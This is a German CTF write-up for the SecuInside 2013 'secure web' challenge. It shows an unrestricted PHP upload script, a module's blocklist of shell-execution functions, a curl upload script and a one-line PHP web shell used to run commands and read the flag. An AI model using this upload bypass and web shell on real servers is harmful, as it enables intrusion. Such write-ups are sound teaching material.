Zu dieser Challenge (secure web) erhalten wir ein binäres Apache-Modul sowie eine Webseite genannt. Zuerst rufen wir die Webseite auf um uns einen Überblick zu verschaffen und das eigentliche Ziel der Challenge zu konkretisieren.
Wir finden eine Seite vor, auf der Mediendateien hochgeladen werden können. Die Information “keine Skriptdateien” deutet bereits darauf hin, dass wir so etwas versuchen könnten ;-). Zusätzlich erhalten wir den Quellcode der Webseite, den wir uns zunächst genauer ansehen:
<?php $uploaddir = '/var/www/uploads/' . md5($_SERVER["REMOTE_ADDR"]) . '/'; if(is_dir($uploaddir) == false) mkdir($uploaddir); $uploadfile = $uploaddir . basename($_FILES['data']['name']); if (move_uploaded_file($_FILES['data']['tmp_name'], $uploadfile)) { echo "Success\n"; } else { print "failed\n"; } ?>
Wir erkennen, dass unsere hochgeladenen Dateien im Verzeichnis “uploads/” im Unterverzeichnis der MD5-Prüfsumme unserer IP-Adresse abgelegt werden. Bei Erfolg erhalten wir die Meldung “Success”, andernfalls “failed”. Ein Test zeigt, dass sich normale Textdateien mit der Endung “.txt” ohne Probleme hochladen und im entsprechenden Verzeichnis vorfinden lassen.
Das Hochladen mit Dateien mit der Endung “.php” führt jedoch in jedem Fall zu der Meldung “failed. Neben dem Upload-Skript scheint also auch das Apache-Modul “mod_dontwebhack.so” eine Rolle zu spielen. Der Aufruf mit “strings” offentbart uns folgende Zeichenketten:
rup0rt@lambda:~/SecuInside2013$ strings mod_dontwebhack.so [...] _Jv_RegisterClasses dontwebhack_module check_bad_php_string strlen [...] GLIBC_2.1.3 GLIBC_2.0 passthru fpassthru system execl open popen escapeshellcmd eval proc_open get_contents Content-Disposition: [...]
Neben einer Funktion “check_bad_php_string”, die offensichtlich unseren Upload überprüfen soll, finden sich auch mehrere PHP-Funktionen wieder, die zum Ausführung von Konsolenkommandos verwendet werden können. Um weitere Tests an der Webseite durchzuführen, erstellen wir zunächst ein kleines secure_web.sh:
#!/bin/sh POST='data=@test.php;filename=test.php;type=application/x-php' echo "POSTING: $POST" curl -L -F "$POST" "http://59.9.131.155:8181/upload.php" echo
Dreisterweise wollen wir hier direkt den Upload einer PHP-Probieren, die wir zusätzlich mit folgendem Inhalt anlegen:
<? passthru("id"); echo "done" ?>
Das Ausführen des BASH-Skriptes liefert (witzigerweise) nicht das erwartete Ergebnis “failed”, sondern:
rup0rt@lambda:~/SecuInside2013$ ./secure_web.sh
POSTING: data=@test.php;filename=test.php;type=application/x-php
Success
Ungläubig, dass unserer Upload tatsächlich funktioniert haben könnte, rufe ich das “uploads/” Verzeichnis für unsere MD5-gehashte IP-Adresse auf und erhalte:
Der Upload war wirklich erfolgreich und der Code wurde ausgeführt!!
(Ich bin mir bis heute nicht sicher, warum der Upload funktioniert, gehe jedoch davon aus, dass die Entwickler der Challenge hier einen Fehler gemacht haben und ein so einfaches Umgehen der Skript-Prüfung nicht vorgesehen war.)
Nun geht es nur noch darum, die Flagge zu finden. Dazu navigieren wir mit “ls” etwas durch das Dateisystem und finden heraus, dass im Heimatverzeichnis “/home/” der Benutzer “dwh300” existiert. Darin finden wir folgenden Inhalt:
Nachdem wir die “flags” Datei gefunden haben, ist es ein leichtes, diese mit “cat” auszugeben und die Flagge zu erhalten.
Die Lösung lautet daher “!!xx_^s0m3th1ng wr0ng^_yy!!“.